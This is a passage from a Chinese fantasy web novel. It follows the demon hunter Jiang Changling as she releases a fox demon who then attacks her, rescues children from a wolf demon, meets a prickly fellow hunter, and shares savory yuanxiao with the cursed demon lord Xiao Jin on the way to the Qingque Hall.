他不轻不重地掌了几下嘴,殷勤道:“我就不碍小姐你们事了,有需要随时可以喊我哈,我就先走了。”
姜长泠愕然抬头看去小二那离去的背影,愣是没想明白这其中的含义。
就在她一头雾水转身回到房之际,便看到萧烬站在门框旁只离了她一个水盆的距离。
34. 狐妖
两人一时相顾无言。
“萧公子,其实你不用帮我的。”姜长泠难堪道。
萧烬抱着手臂淡然道:“这不过是顺路而已,况且青竹城内已经没有我想要的东西了。”
“你的意思是你想找的那枚法器在淮庆城中?”
“不错。”
顺路,将她安置在客栈之中也算是顺路吗?
她发觉她越来越看不透萧公子了。
无论如何,姜长泠还是向他道了谢偏过身钻进了房门之中。
“一会记得下来用早膳。”
萧烬的声音从她身后传来。
姜长泠闻声回过头看去时,萧烬的身影早已消失,取而代之的是紧闭着的木门。
周遭安静下来,她不免捋了捋混乱的思绪。
这一切皆是因为那莫名的禁咒在身,她才能每次那么幸运被萧公子救上一回。
她用手捧起热水。
这禁咒到底是何物,到底要如何才能解开...
洗漱一番后,她打开了那小二送来的包袱,里面静静躺着一件白渐变为金色的衣裳。
一看便知价格不菲。
思索了会,她还是将包袱重新绑了起来,换上了自己从家里带出来的衣裳。
换完后她便坐到了书桌前,铺平了纸张准备提笔写字。
昨天从白府走得匆忙,外加上白祝锦关在房中禁足,还没有机会跟他庄重告别就这么走了,怎么说也有些不合适。
于是她提笔将青竹城的大致情况和自己的去向都写在了纸上。
快写完时,她还没想好要不要将邵师兄不幸逝世这件事写上去。
于是笔尖便停留在空白纸处,化出一团墨潭。
愣神后她赶忙将笔提了起来。
最后还是在纸上落下一句:吾师兄邵楚,昨日身逝,尸首已归,改日立冢,节哀顺变。
写完她叠好后便用灵力烧了去。
接下来就等白祝锦的回信了。
姜长泠写下这封信时,就连她自己都没发现眉头就没有松开过,只有真正把毛笔放下那刻,她的情绪原来才从悲悯沉重中抽离出来。
写完这封信,她还想起来有件事没做,于是她站起身来赶忙从衣襟处掏出了一个降妖袋。
施法打开后,一只有着狐妖特征的人便摔在了地面。
姜长泠对他道:“你且走吧,不要再到处害人了。”
狐妖缩成一团,眼睛还没完全能适应住光线,他抬起手遮住阳光问道:“那祥哥他人呢?这里又是哪?”
“走了,在带蓬莱灰豹回去的路上,这里是淮庆城。”
“哈?淮...淮庆城,这里居然是淮庆城。”狐妖自言自语喃喃。
姜长泠察觉到一丝异样便问道:“淮庆城怎么了?”
“没什么,只是有些耳熟罢了。”狐妖甩甩头从地上站了起来,“对了...那青竹城里怎么样了。”
姜长泠愣了愣,才发现这场混战中,痛的还不只是城中原住的百姓,同样的还有苟活下来的妖。
这无异于对双方来说都是一种折磨。
“青竹城内...百姓伤亡惨重,而你的同伙应当全部被歼灭。”姜长泠特意将最后两个字放得很轻。
仿佛是她成为了这场苦痛的始作俑者一般。
狐妖听完没有立即回话,只是待在原地不为所动。
姜长泠以为他是悲伤过头,一会的功夫那狐妖头上冒出的两只耳朵便向两边耷拉了下去。
可他竟是出奇地笑了出来:“我早便知道我们是斗不过妖都的,都是那帮妖太蠢了,说什么这是颠覆妖都统治恢复自由的好时机,要我看这就是死机。”
姜长泠看到他嘴角扯得牵强,不免问了一句:“你当真是这么想?”
狐妖怔了下,拼了命地点头:“我当然是这么想的,妖都所做的决定都是为了人界和平,这些道理我都懂的。”
噗通一声,那狐妖直接跪在了地上,表情楚楚可怜:“所以恳求捉妖师保我无虞出淮庆城吧,我知道淮庆城内也设有妖都,甚至这里捉妖师比青竹城更厉害,所以...我真的很怕身陨在此。”
姜长泠轻叹了口气,垂下视线看他:“你先起来,你跪我又有何用。”
狐妖仍旧倔强地跪在地上,撇过头去。
她感觉到狐妖的胆怯,也想起了长孙仲晏曾跟她说的一番话。
“我答应你,但是...若能遇到可商议的妖,你能不能放过他们一马?”
于是她继续道:“人和妖之间固然都有善恶之别,这次的事情确实是妖都三处做错了,你们妖族激进反抗这事我也能理解,所以你不必为了立场而故意阿谀我。”
狐妖的耳朵又竖了起来,缓缓抬起头看向姜长泠。
“你憎恨我们,我都懂。”姜长泠道,“至于保你出淮庆城一事,我也做不到。”
“为何?那你是因何而来的?”狐妖突然问道。
“我...我是奉命前来淮庆城,来时的过程并不重要。”姜长泠道。
狐妖见求助不奏效,只好灰溜溜地从地上站了起来摆出一副落寞失意的模样。
可下一瞬间,那狐妖却突然目露凶光,长爪一现向姜长泠挥了过去。
姜长泠也在须臾间反应过来抬起手抵挡,可纵使身手再快,她的手臂还是不可避免被划开几条血痕。
狐妖抽回爪子极快再向她发起攻势,姜长泠看准时机闪过,双指夹住一张符纸抵住狐妖迎面而来的妖爪,一个法阵便随着灵光乍现展开,直接将逼开狐妖数步。
待他们身距被拉开时,姜长泠便向他甩出了滚烫盛意灵流的缚妖绳。
狐妖见状只好咬着牙紧紧抓住甩来的缚妖绳,甚至还在手上缠绕了几圈,那灼热的缚妖绳碰上他的肌肤烫得直冒烟。
两边正无言对峙着。
姜长泠不急不忙地扯着缚妖绳问他:“你这是何苦呢?”
狐妖疼得龇牙咧嘴,还是悲愤道:“你懂个屁,老子的兄弟全都死光了,族人也不知所踪,从此都是我孤身一人活着,凭我一己之力又报不了仇又有什么意义!”
就在此间姜长泠迅速打出一张镇妖符恰好贴在了狐妖额头之上。
狐妖刹那间全身僵硬,不得动弹。
接着他只能眼看着缚妖绳
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从他手中流走,逐渐缠到了自己的身上。
“你卑鄙无耻!”狐妖还剩一张嘴能动。
姜长泠走到他身前揭下那张镇妖符,解释道:“并非是我卑鄙,而是你技不如人,同归于尽也是要有本事的,你连我一个中阶捉妖师都对付不过来,就别谈报仇雪恨了。”
“若是不知道怎么活下去的话,好好想想你那些死去的族人,你的死亡会是他们期望的结局吗?”
狐妖气得牙痒痒却也只能是怒视她不为所动。
“我答应过长孙仲晏不会杀你,你要走要留我都不拦你,但倘若你要在城中滥杀无辜,就休怪我手下不留情了。”
缚妖绳被姜长泠收回,狐妖霎时没有了方才的气焰,只是在原地站着。
“你且走吧。”姜长泠嘴上虽这么说着,但垂下的手正默默地储蓄着灵力。
狐妖思忖了很多,最后还是决定顺从了姜长泠的意思。
他把身上关于狐妖的特征通通藏了起来,转身走去窗台:“我宁愿去找祥哥,也不愿与你们这种人为伍。”
说完他便往那窗台一翻跳了下去。
姜长泠见他离去,总算是松口气,回过头去时,白祝锦的回信就捎了回来。
她接下灵力漂浮着的纸张,还能看见上面的墨迹还未完全干透。
意思大概说的是白府已经快马加鞭从淮庆城买入粮食,拜托了妖都二处的捉妖师做运送,马上就可以将粮食派发下去了。
还说了之后务必要告知他邵楚立冢的位置。
姜长泠心中了然,焚烧掉纸张,正想着应萧烬的话下楼去用早膳,可一阵火辣辣的刺痛从手臂上传来,她不得不先去处理这伤口。
环顾这周围一圈,她暂时能做的也只得是清理掉伤口的血。
正当她去撸起袖子清洗伤口时,她忽然想起来萧烬和她之间的禁咒。
她受过的伤痛皆会复刻到他身上。
以往她每次受伤,萧烬都会关键的以各种各样的方式出现帮她疗伤。
她一边清洗着伤口一边揣摩。
那这次也会一样么?
洗掉伤口上的血后,姜长泠用布随意地摁了摁擦干,撸下袖子后她默默地开了门下楼。
楼下人来人往,几乎座无虚席,空气中都飘着甜甜点心的香味和茶香。
尽管如此,她还是在人群中一眼看到气质绝尘的萧烬正手持着书独坐在靠窗的一桌,桌上点心罗列。
她不禁隔着衣袖布料摸了摸手臂上的伤口,随后向萧烬那桌走去。
她刚拉开凳子坐下,就听萧烬开了口:“这次又是为了什么?”
姜长泠没明白他的意思,只是看向了他没说话。
茶杯中的热气氤氲飘升,窗外只开了一条小小缝隙吹入风声。
“我的意思是,你何必放跑他?”萧烬视线依旧盯着书本问道。
姜长泠双手交叠摩挲了下,轻声道:“只不过我答应过长孙仲晏,要尽量放过他在钱府上的弟兄。”
萧烬抬起眼眸看她,略带恹气:“这种妖,不值得你去怜悯。”
“你的安危应当放在首要考虑的位置。”
35. 出头
这番话之下,姜长泠瞬时觉得自己像是个做错事情的...孩子?
“我知道的。”姜长泠黯然道。
“你知道就不会受伤了。”萧烬语气依旧淡漠,“怜悯心太过泛滥也未必是件好事。”
周边嘈杂声肆起,姜长泠低头沉思了片刻,抬起清澈的眼眸缓缓道:“可我见萧公子也怀有恻隐之心。”
萧烬没去看她:“若非有莫名的禁咒在身我才不想管你。”
而姜长泠眉头舒展开来,倒是轮到萧烬清俊的脸上眉头微微蹙起。
她不免勾起唇角:“那萧公子可找到了破解之法?”
“暂未。”
“那还请萧公子继续恻隐。”姜长泠卷起袖子将受伤的手臂搭在了桌上。
意外的是,萧烬只是垂眸瞧了那伤口一眼:“这次的伤就当是给你教训了,自己想想办法解决。”
闻言,姜长泠又收回了手臂。
她若无其事地拿起木箸开始夹点心。
内心倒是开始有些疑惑于萧烬对她受伤时做出不同的反响。
许多时候萧烬做的事都比较含蓄收敛。
譬如在打灰豹时,他并没有用意念直接扼杀灰豹,而是让她在众目睽睽之下创造出她力压灰豹的假象。
而现如今又宁愿自己承受与她一样的疼痛也要警醒她。
就像引导她什么的。
可这引导的最终结局是什么她便不得而知了。
或许这禁咒一开始就是他立下的幌子?。
想通了利益层面的问题,姜长泠瞬间茅塞顿开,就算是用早膳也安心上许多。
反正她不过是一介草民,又能如何呢?
用完早膳,姜长泠饮下茶杯中的最后一口茶,拿起桌上备好的手帕擦了擦嘴。
“多谢萧公子照拂款待。”姜长泠掏出身上带着不多的银两摆在桌上向萧烬推去。
“嗯,钱就不用留了,自己揣着吧。”萧烬似是看着手中的书入了迷,视线并未偏离半点。
姜长泠将银两收回站起身来,眉眼弯弯:“谢过萧公子,那我先走了。”
“嗯。”
想起包袱还在楼上没拿,姜长泠又折回二楼将包袱拿上才出了客栈。
踏出街道,姜长泠只觉得外面的街景一片陌生。
忽然有些茫然。
刚走几步,街上便有一个声音在嘈杂声中格外突出。
“大娘,姓王。”
“姑娘一看你就知姓黄。”
“诶,叔,你姓李哦。”
一位衣裳上打满补丁,眼睛白了一只的老者正蹲在街道边上对着来往的人猜着他们姓氏。
姜长泠还没走到老者面前,老者就笑着对她说:“姑娘,想必是姓姜吧。”
姜长泠犹豫着停下脚步点了点头。
旁边摊位的老板见这老者竟真的揽到客人,挤眉弄眼地凑过来说:“姑娘,你可别信这傻老头,天天就是在这街上坑蒙拐骗,都不知骗过多少人了。”
老者听闻此言面上却没有什么情绪,只是木讷着喜笑颜开盯着姜长泠。
“你身边还有一男子,姓萧,对不对?”
姜长泠本来都想走了又硬生生被这话吸引住了。
“那就是对喽。”老者笑了一声,视线看向虚空像是在思考着什么,随后笑容逐渐消失。
“不好。”老者摇摇头,“你可知他姓名?”
姜长泠摇摇头。
老者欲言又止,当即从身后拿出纸笔砚台,小心翼翼地写下了两字——萧烬。
他站起身将纸张递给姜长泠,低声道:“我察觉他在此附近,我便小声点说。”
“萧,烬,这两字本就有荒芜燃烬之意,我透过他名字中的玄机便看见萧萧一片原野火烧连天,烬燃天明。”
“这乃为灭世之兆象,说明此人手上沾染的血液深似海,是个穷凶极恶的狂徒,你定要万分小心。”
隔壁摊主八卦得很,偷听到后嗤笑:“什么灭世,他口中所谓的狂徒无非就是男人背信忘义,偷个腥的事。”
姜长泠折起纸张收好,对于老者刚才说的话暂且存疑,她问道:“那您透过我的名字看到了什么?”
老者□□的眼球动了动,又说:“漫天风霜?嘶不对,你倒是没什么特别的,多为良善之人,怀有一颗仁义之心。”
姜长泠笑笑:“多谢夸奖。”
这时,街上惊呼声一片,强劲的罡风带着隐隐的微压从另一头从她身后略过。
这是有妖的象征。
姜长泠连忙掏出铜钱递给老者:“老人家,我先走一步。”
老者点着头接下,默默看着她的背影远去。
那妖刚从她身后跑过还没有跑太远。
姜长泠三两下翻上屋檐向那妖追去,从上朝下看去,明显看见那妖两手分别都抱着一个孩子。
待她逐渐追上那妖的速度,她立马抽出一张镇妖符向那妖的背后打去。
或许是包裹着的灵力太过强盛,那妖有所察觉直接侧身躲过,停下后脚步转身顺着镇妖符飞去的方向朝她看来。
于是姜长泠便和那狼妖对上了视线。
那狼妖得意扯起嘴角也跃上屋檐,面对她时,用一只手拎起小孩的衣领果断朝空中一丢又转身跑了。
刹那间,姜长泠只好甩出缚妖绳先将小孩捆住降落地面,这会,一个跑得正卖力的男子赶到她面前,气喘吁吁问她:“你…你是捉妖师吗?”
姜长泠一看便也猜到了这是在妖都巡逻的师弟,当即把孩子塞给她:“是。”
师弟还没问完,姜长泠也没再跟他解释太多转身就飞上屋檐跑了。
重回屋檐之上,那妖已经与她拉开了一段距离,她冷静下来,拿出四张符纸以灵力为引,迅速绘出一个传送阵掷于脚下。
莹蓝色的灵光一现,姜长泠决然踏入。
坠空感袭来,她估算的不错,再一晃便是到了这妖的面前。
这妖满面黑毛,吻部较长,瞳孔小,黄中带黑圆,妖爪锋利正揽着一个小孩。
是只狼妖。
狼妖面上略过惊愕,看着眼前朴素长衣飘飘然的女子忽然绽开得意的笑容。
因为他的狼爪正准备伸向那哭哭啼啼的小孩。
还不等他笑得开怀,一张又一张染上炽热灵流的镇妖符便不断逆着风向它迎来。
他面色一变只好提着小孩的衣领闪躲开来。
不知何时,那女子已然冲到了他身
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前,他无比清晰地看见女子碧透如琉璃般眸子中没有情绪,冷净的双指之间夹着一张符纸朝他袭来。
下一瞬,他便感觉浑身僵硬动弹不得。
狼妖暂时被镇住,姜长泠先是将狼爪上的孩子抱了下来。
“娘亲!呜呜呜,我要娘亲!!”
姜长泠抱着孩子拍了拍背,随即跃下长街。
那师弟也在人群挤了出来,一脸茫然地问她:“师姐…师姐你是隶属于哪个堂管辖的。”
姜长泠有些纳闷,不知问这些是何意,解释道:“我是得主办大人的传召从妖都三处前来淮庆城妖都二处的捉妖师。”
“原来如此。”师弟恍然大悟,从姜长泠手中又接过一个孩子。
“这狼妖还尚未被捉拿。”姜长泠向屋檐上望了一眼,欲想要再拿出一个降妖袋却被师弟制止住了。
师弟脸上露出一丝难堪,谄媚笑道:“师姐,还请再等等,方才我叫了别的师姐赶来,这妖交给另外一个师姐就行。”
姜长泠皱眉,这捉妖怎么还分给谁捉?
“可这镇妖符…”
她话还没说完,那贴在狼妖额头上的镇妖符便有了松动的迹象。
而另一头的人群便纷纷向两边走去让开了一条通道。
“小堂子,你可叫本捉妖师好找!”一名自称捉妖师的女子身穿青白色劲装自通道走来,傲气凛然。
姜长泠认得这身衣裳,似乎就是黎追那会开传送阵后跟着的其一师妹。
还没等她反应过来,身旁的小堂子便喜笑颜开喊了一声:“阮师姐你终于来了!”
随着这声阮师姐,狼妖额头上的镇妖符也跟着落下,阮师姐也立马从袖中抽出两张事先画好的符纸向屋檐上冲去。
动作起手利落,可惜的是两张符纸无一命中。
“看来这狼妖身手不错嘛!”阮师姐依旧自信地叉着腰。
狼妖眼里冒出绿光,四肢伏地,妖身逐渐彭大,直至撑破了衣裳。
“该死狼妖,我看你往哪逃!”阮师姐忙不迭从腰间抽出了八张符纸夹在手中。
当即往狼妖身上甩出了四张。
其中一张掉落在人群中,刚好掉在了姜长泠的脚边。
而那三张都一一被那狼妖躲了过去。
那狼妖都忍不住嘲笑出声,挑衅般地站在原地:“你的准头太差了,换人跟我打!”
姜长泠刚想动身又被小堂子给拦了下来,小堂子对她摇摇头道:“我还是劝师姐你不要插手阮师姐的事情。”
“...以免引火烧身。”
小堂子说的话格外的语重心长,饶是想要帮忙的姜长泠都要退却三分。
无奈,来到这淮庆城中人生地不熟还是不要擅自做主为好,她也只好先听信这小堂子说的话。
她弯下腰去捡脚边掉下的符纸,想要看看这阮师姐手上到底攒的是什么符纸。
这不看不要紧,一看吓一跳。
“师弟,阮师姐是你们妖都二处里几阶的捉妖师?”姜长泠蹙眉问道。
“这种妖还轮不到高阶出手,自然是中阶。”小堂子道。
姜长泠用手抚过这符纸上灵流的痕迹,确保了自己没看错:“不对,这符画错了。”
36. 元宵
“啊?”小堂子也凑过来看了眼符纸。
上面龙飞凤舞的,他看懂了又貌似没懂。
姜长泠抬头看向正在对峙的一人一妖。
有一张符纸还是贴在了那狼妖身上,但狼妖进攻的势头更猛了。
而阮师姐正和那狼妖过招。
姜长泠见暂无性命之忧就指着符纸上的灵迹跟小堂子解释了起来:“这原本应该是想绘成弱化符的,可这处画错了,变得与凶化符尤为接近。”
“什么为凶化符?此类符咒有教过吗?”小堂子脑中一片空白,虽说妖都不要求低阶捉妖师会画符用,但最基本的符咒类型也要会看弄懂。
此符的类型显然是超出他的认知范围了。
姜长泠也是从这个阶段过来的,自然很了解他:“这种符不常见,或许是阮师姐的善用手法,但这符画错了,这狼妖可就没那么好对付了。”
小堂子若有所思点头,还是劝道:“不管如何,这都是阮师姐经手的妖,就让她对付吧。”
姜长泠没再说话,静静看着他们对峙。
屋顶上的瓦片频频被踢下砸落,惹得围观的百姓连连后退不敢停留靠太近。
阮师姐亦是用灵力编织的缚妖绳,一直与狼妖周旋防守,却并未找到合适的时机进攻。
狼妖也似是试探到阮师姐的实力,开始猛地发力扑去。
她连忙甩起缚妖绳向狼妖的身体卷去,可准头还是差点,只卷到了狼妖的爪子上,狼妖并没有因此受限依旧向她扑去。
阮师姐原本嘴角挂着的自信笑容逐渐没落,只好往狼妖的身后凌空一翻,嘴角又勉强地牵了上去。
狼妖反应过来,转身又向阮师姐扑去。
一人一妖便像是杂耍在屋顶上蹿来蹿去。
见状,狼妖不耐烦地绕起手腕上的缚妖绳尝试将阮师姐控制住:“你到底是来打架的还是来转圈的?”
“要你管!”阮师姐狠厉啐了一句,紧紧拽住手中的缚妖绳。
狼妖身上的符纸被灵力晕染得明明灭灭,尖爪使劲缠绕住缚妖绳,妖瞳绿光更灿,力度要比前几次都要更猛。
阮师姐瞬间重心不稳被抽动,狼狈向前踉跄一步后便直直摔往屋瓦上摔去,缚妖绳也随之脱了手。
正当她膝盖磕得生疼还没撑着地上起来,眼前便已经感觉到有一片阴影笼下。
千钧万发之际,她不敢睁眼抬头。
想象中的疼痛并没有落在她身上,她斗胆睁开眼,那片阴影已然不见,抬头看去,方才势头正盛的狼妖被一个风姿绰约的身影用着缚妖绳五花大捆起来。
而后,那女子迅速拿出一个降妖袋将狼妖收入囊中。
她再往屋檐下的人群瞥去,发现所有人的目光都被那女子吸引过去了。
她皱起眉,颇有些不服站起身但也没说话,一跃下屋檐对小堂子问道:“她是谁?”
小堂子方才只是转头把小孩还给他娘,一不留神回过头来就发现姜长灵窜了上去,他心中警铃大作,也没想好该如何向阮师姐交代,声音都发着颤:“阮师姐,我也不知道她是谁。”
“哦,不对,好像她说她是得到主办大人的传召从三处来二处当捉妖师的。”
小堂子说完立马就把头低了下去。
“传召?我从未听闻过此人,这么说她还没见过主办大人吧?”阮师姐眯了眯眼。
“应当是,是。”
“那她还算不上是为淮庆城的捉妖师。”阮师姐神情厌倦地瞥了一眼刚落地的姜长泠。
姜长泠浑然不知这边快要烧起硝烟的对话,整理了下背着的包袱走过来对着阮师姐一拱手:“在下来自青竹城妖都三处的捉妖师,名为姜长泠。”
阮师姐方才那厌恶的神情一扫而空,笑得甜美:“同为妖都的,何必如此客气,我叫阮诗情。”
接着她又指了指小堂子:“他呢,叫许堂,我们平时都会叫他小堂子多一些。”
“方才我失误颇多,倒是让你见笑了,多亏了有你。”阮诗情一把从她手里夺过降妖袋塞给许堂,“这些晦气的玩意就不要自己拿着,给他就行。”
姜长泠没回话只是看了两眼许堂。
这番对话下来,她显然感觉到这阮诗情属实不是什么好惹的人,而许堂提醒她的话,那想必也是有可取之处的。
许堂生硬地接过降妖袋,豆大的眼睛看着地面不安地转了两转。
“你这是要去清阙堂是吧。”阮诗情热情地圈上她的手肘,“走吧,我带你认认路。”
这动作不免让姜长泠眉头都在须臾间微不可查地皱了下,不是别的什么,而是身体本能在排斥着阮诗情的接触。
“姜同门怎么了?”见她不动,阮诗情疑惑问了句。
姜长泠面上没什么神情,并无狠厉之态,轻飘飘地往阮诗情的手看了一眼。
“嗯?姜同门莫不是不喜欢与生人太近了?”阮诗情压下了挑起的眉头,松开了挽着姜长泠的手,强硬地拉扯出一个微笑。
“抱歉,我初来乍到还有些认生。”姜长泠也笑了下,“劳烦阮同门带路了。”
阮诗情抬起手向前请,略微有些无措地往前走了几步笑道:“这边走,姜同门。”
姜长泠点了点头向前走去,走时她特意回头看了一眼许堂,发现许堂已经默默离开了。
方才围观起来的人群都已经向四周散去,整条街道又恢复往日的热闹。
“姜同门,问你个事,你跟黎大师兄是怎么认识的?”阮诗情跟姜长泠并肩走着。
那风中有意无意地夹着一阵玫瑰脂粉的香味袭来。
姜长泠低眸看了一眼她腰间别着的香囊,答道:“我与黎大师兄在青竹城见面乃是初识。”
“噢~那姜同门你也算得上是幸运的。”阮诗情笑着点点头,有一股傲气正从心底渐长,“青竹城那块地方未免也太过偏僻了,还好姜同门你从那被主办大人挑了出来。”
“话说你爹娘也过来淮庆城安居了吗?”
这句话有着强烈的试探意味,姜长泠登时与她对上视线,回道:“青竹城确实也就是偏了点,其他的与淮庆城相比也就是妖都部署的处级不同。”<
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p>话讲到这里截停,阮诗情本还期待着她回答,却没了下文,她看姜长泠没有了要再说的意思,只好默默把这话题跳了过去。
“咳咳,我听闻妖都三处貌似就只有一个转芒堂办事?”阮诗情清了清嗓子又问道。
“嗯。”
阮诗情噗嗤地笑了一声,意识到失态后又敛了敛笑容:“那淮庆城和青竹城的区别可大了,淮庆城中可是设有三堂办事处,分别为管中心的清阙堂,管北边的断尘堂和南边的定踪堂。”
“要不是我说姜同门幸运呢,一下从转芒堂提拔到清阙堂来。”
姜长泠不想解释,只不动声色地嗯了一句就没说话了。
见这副神情,阮诗情也大抵知道了姜长泠算是个小有脾性之人,她也懒得再周旋便假意笑道:“姜同门,不如你先在这茶摊等等我,我想起来我还有些事情没处理,很快就能回来。”
姜长泠本还想答应,转念间便婉拒笑道:“就不麻烦阮同门了,我自会寻路到清阙堂。”
刚想走的阮诗情又折了回来,尴尬地揉了揉鼻子道:“这样啊,那好吧。”
“多谢。”姜长泠一颔首便与她擦肩而过。
只剩阮诗情一个人愣在原地无声地握了握拳。
*
姜长泠漫无目的地游走在街上,正好了解一下淮庆城与青竹城之间的人文风情有何不同。
沿着这一路走去,都是小摊贩为主,且是以贩吃为多数。
一览过去,在众厚重长裳的百姓中,忽然有个身形格外突出挺拔,细看这人穿着的白袍上绣着淡青色的隐边的竹群,淡雅盎然,工艺极为出类拔萃,一看就知道是上品。
还有那披散下的墨发的弧度她都太熟悉了。
萧烬出尘不染地站在一个摊贩前,贵气斥群。
骨节分明的手正接过一碗元宵,持起调羹勺起一颗就往嘴边送去。
姜长泠停顿下步子,着实没想到在这里撞见萧烬,本想着打个招呼什么的,但貌似又没什么话要说,她只好装作没看见继续往前走。
“怎么着急走,不是还没问到路吗?”
刚走几步,一个不紧不慢的声音就从她身后传来,让她不得不停下脚步。
回过身,她便看见萧烬手里端着两碗元宵,一碗递到了她面前:“今天可是人间的元宵节,你不知道吗?”
姜长泠向来对节日不敏感,经过萧烬这么一番提醒她才记起:“知道,但萧公子方才不是已经用过早膳了吗?”
“你看我像是需要进食的人吗,我只是尝鲜罢了。”萧烬又举了举手中的一碗元宵,“听闻元宵的馅都是甜的,但这淮庆城中的倒是不太一样,你尝尝。”
姜长泠本不想尝,但听闻有不一样的地方还是半信半疑地接过了那碗元宵。
“有何不同?”姜长泠问。
“我初来乍到人间,有点解释不清这味道。”萧烬说。
无奈,好奇心驱使之下,姜长泠拿起调羹匀了一个元宵送入口中。
糯皮咬开后取而代之是咸香味,再一嚼便是吃到了肉馅。
37. 萧烬
姜长泠眉头一皱,印象中的元宵里一般都是芝麻或是豆沙,谁知能吃到肉?
她忍住想吐的冲动,硬是当饺子嚼完吞了下去。
萧烬则是忍俊不禁地看着她:“知道你不喜欢吃咸的了。”
姜长泠一言难尽,盯着碗里的另一个元宵说:“这元宵风味确实独特…”
她抬起眸:“之后我带你去尝尝甜的吧,比这个要好吃。”
说完,她又将碗中剩下的一个元宵吃了下去,全然没发现萧烬看她的眼神发生了微妙的变化。
魔界地大物博什么吃的没有?虽然他不需要进食,但那也是极端情况下的,元宵他吃过,当然知道是甜的,不过这里的是咸的,他好奇才买来尝尝。
他原以为把这元宵给姜长泠吃,她至少会觉得诧异或吐出来。
却没想到姜长泠就这么接受了,还扬言要带他吃甜的。
真是愚笨。
无人在意一旁的符月炳也端着碗,好不容易咽下去一个,眼里的杀气都要满出来,他语气冷若寒霜:“太恶心了,有种想把老板的手剁了的冲动。”
萧烬笑了笑:“还有一个,不要浪费了。”
“对了。”萧烬转向姜长泠,“向你正式介绍我身边的这位侍从,他名为符月炳。”
姜长泠点点头,突然想起那算名的老人家对她说过的一番话,她饶有兴趣地说:“我最近学会了一招,能算出每个人的姓名,不如我来猜猜你的名字?”
萧烬挑了下眉头,示意她继续说下去。
姜长泠上下打量了一遍萧烬,煞有介事地说:“从你身上我看见萧萧一片原野火烧连天,烬燃天明,所以…我猜测你的名字是不是叫萧烬?”
站在旁边的符月炳本就吃着难以下咽的元宵,听这话他直接呛住了咳嗽了几声,整个元宵就这么被他吞了下去。
“你还挺聪明的。”萧烬没想到她还真的能猜出来,又问,“你如何得知的?”
在这关头她也不好再骗下去,只好坦白笑道:“其实是一个老人家告诉我的,我也没想到他随口一说就中了。”
萧烬更好奇了:“他就没有再说什么?”
其实是有的,但姜长泠总不能当着本人的面说他身上有荒芜之兆象,是个背负血债的灭世主吧。
“有倒是有,不过都是些荒唐言罢了。”姜长泠笑道。
萧烬倒不会觉得荒唐,毕竟他的身份所在,任外界如何传言魔君如何作为都不足为奇。
“荒唐?我倒想知道有多荒唐?”萧烬嘴角微微牵起,乌眸中透露着四个大字——无所畏惧,“毕竟有些时候他们说的话也并非不能全信,有些是真的。”
姜长泠忽然捕捉到萧烬话里说的“他们”一词,这意思莫非是他在魔界是个鼎鼎有名的人物?
她吞下疑惑,望了望周边往来的路人,想了想开口道:“他说你名字上有着不好的兆象,身负万千命债。”
气氛凝固了一瞬,她又道:“但我知道萧公子不会是那样的人。”
此时,符月炳冷静地将萧烬和她手上的碗尽数收走送回给了元宵摊的老板。
“如果,我就是那样的人呢?”萧烬抱臂看着她。
姜长泠凝视萧烬,声音平缓:“若萧公子是穷凶极恶的狂徒,恐怕我的日子也不会过得如此舒坦,但萧公子的信念与我背道而驰,那我会自尽,一命抵一命。”
倏然间,萧烬的心脏闪过一阵刺痛,无法理解的莫名悲怆一涌而上。
像是身体因为姜长泠说了这番话后作出的本能反应。
如同他们初见的那晚,疼痛也是转移得如此突然。
符月炳亦是一步一回头密切地观察这边的情况。
萧烬滚动下喉结,调整好思绪哼了一声:“你就等着那天来吧。”
接着他伸出手掌到姜长泠面前:“走,带你去清阙堂。”
姜长泠滞然一会,将手搭了上去。
微凉与温热的触感相撞,明明已经不是第一次了却让萧烬生出一种别样的感觉。
萧烬原觉得姜长泠一旦对自己的身份背景有所了解一定会有所恐惧或疏离或另有所谋,但奇怪的是——姜长泠什么反应都没有,反而还有点信任他…
啧。
眼前一暗一亮,两人松开手时就到了完全陌生的地方。
这妖都办事二处的装潢着实算得上大气端庄。
这门口筑了四人高的柱子支着牌坊写着笔迹苍劲有力的六个大字——妖都办事二处。
放眼望去,成百的阶梯正向上延伸铺去通向正堂,而堂外还有一块牌匾写着清阙堂三字。
要不是她知道她在城里,差点就要误以为这是在大山之中才能看到的景观。
牌坊下还有穿着统一清白色衣裳的弟子正站着值守。
她刚想往前走,忽然就发觉余光中的人影不见了。
萧烬又消失了。
像是什么召之即来挥之即去的侍从。
姜长泠颇有些震惊,这想法太过冒昧,她怎么会这么想?
她连忙摇摇头将这想法泯灭。
就在此时,她的肩头被人轻拍了下,一道身影蹿到了她身旁。
“姜师妹,没想到你行动如此之快,这就到了?”黎追身穿墨绿长裳,脸上带着温和笑意。
姜长泠有些诧异,马上拱手行礼:“黎大师兄。”
“不必客气,你我同门之间这些繁冗礼节不需多做。”黎追摆摆手,继而又看向清阙堂方向,“走吧,主办大人已经在里面等你了。”
姜长泠受宠若惊,脚步还没挪动,问道:“主办大人怎知我来了?”
“这个...我也不知。”黎追摸了摸后脑勺,“我只知我在街上巡着时,主办大人便传音给我下了旨意,让我回来一趟,想必就是有关于你的事了。”
“那真是要麻烦黎大师兄了。”姜长泠低了低头。
“没事的,主办大人向来都料事如神...”黎追在说后半句话的时候故意压低了声音,“应是在城中安插了许多眼线。”
姜长泠若有所思地点头,心里却暗暗想这主办大人着实奇怪,隔着一个城,他及时能发下
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文书说她立功表彰传召至妖都二处就算了,连她进来的时机都能掐好那未免也太过诡异了。
“走吧,姜师妹。”黎追唤了她一声。
“嗯。”姜长泠应下,跟在了黎追身后。
经过牌坊时,两边的弟子还很有礼貌地异口同声叫了一声:“黎大师兄好。”
踏上台阶,姜长泠便开口问道:“黎大师兄,不知青竹城那边如何了?”
黎追眸中一亮,兴致勃勃说:“对了,还有一事没跟你说,青竹城一事本是妖都全款拨下赈灾,但听闻那城中有一户白家愿意贡献出一份力减轻妖都的负担,由此一来,青竹城也快点恢复如常。”
姜长泠点头,欣慰地想到那笔赃款还是流向了好的去处。
“那妖都三处应该会重新整顿换下一个廉政清明的督办吧。”
“嗯,新上任的督办应当会是由一处的主管大人派去。”黎追解释完又问道,“师妹,你可知为什么清阙堂的台阶建那么长吗?”
“嗯?不知。”姜长泠坦言。
黎追像是忽而想到什么好笑的,愉悦道:“是因为主办大人说诸位要利用这上台阶的时段三省吾身,同时也要想清楚什么事情在堂上什么该说什么不该说。”
“其实这百阶梯背地里一直被我们诟病。”
这百阶梯每隔间隙短,明明一步就能跨但它胜在又长又多。
姜长泠跟着走了一会就尝到了这百阶梯累腿的滋味。
“还有,你可知为何我穿的衣裳与别的师弟不同?”黎追回头瞥了她一眼。
